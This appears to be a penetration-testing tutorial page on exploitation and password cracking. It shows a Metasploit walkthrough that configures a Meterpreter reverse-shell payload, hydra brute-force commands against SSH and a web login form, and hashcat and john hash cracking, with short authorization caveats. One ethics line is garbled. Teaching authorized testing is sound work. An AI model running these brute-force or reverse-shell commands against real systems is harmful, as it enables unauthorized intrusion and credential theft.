

Exploitation & Password Cracking Tools

The exploitation club

Tool	Role
Metasploit	Framework: exploits, payloads, post modules, Meterpreter
BeEF	Browser Exploitation Framework – hook browsers, drive client-side
SET (Social-Engineering Toolkit)	Cloned sites, phishing bundles, credential harvesters
SearchSploit	Offline index of Exploit-DB (match service → exploit)

Metasploit in 6 steps

```
msfconsole
search type:exploit platform:linux <keyword>
use exploit/multi/http/...
show options
set RHOSTS 10.0.0.20
set RPORT 80
set LHOST 10.0.0.10
set PAYLOAD linux/x64/meterpreter/reverse_tcp
run
```

After a session: `sysinfo`, `getuid`, `shell`, `sessions -i 1`. Meterpreter's post modules (`post/multi/recon/local_exploit_suggester`) suggest `privesc`.

Password cracking family

```
# wordlist generation from a target's own words
cewl http://10.0.0.20 -d 2 -m 5 -w cewl.txt
```

```
# deterministic wordlists
crunch 8 12 0123456789abcdef -o eight.txt

# online brute (SSH/FTP/HTTP form)
hydra -l admin -P rockyou.txt ssh://10.0.0.20
hydra -L users.txt -P pass.txt 10.0.0.20 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"

# offline hash cracking
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
hashcat -m 1000 -a 0 hash.txt rockyou.txt # NTLM (-m 1000)
```

The ethics in practice

Hydra against a server you OWN or are authorized to test

Hashcat on hashes YOU generated (pentester convenience: pwdump your own)

Both against wordlists (rockyou) – clear the "m 5m+1" ethics check: authorized or yours

Pivots and post-exploitation

From a foothold, run local_exploit_suggester, enumerate creds, pivot (Kali can route via Meterpreter).

Persistence: only in lab engagements, document everything, clean after.

[← Vulnerability Analysis Tools](#)

[Wireless Attack Tools →](#)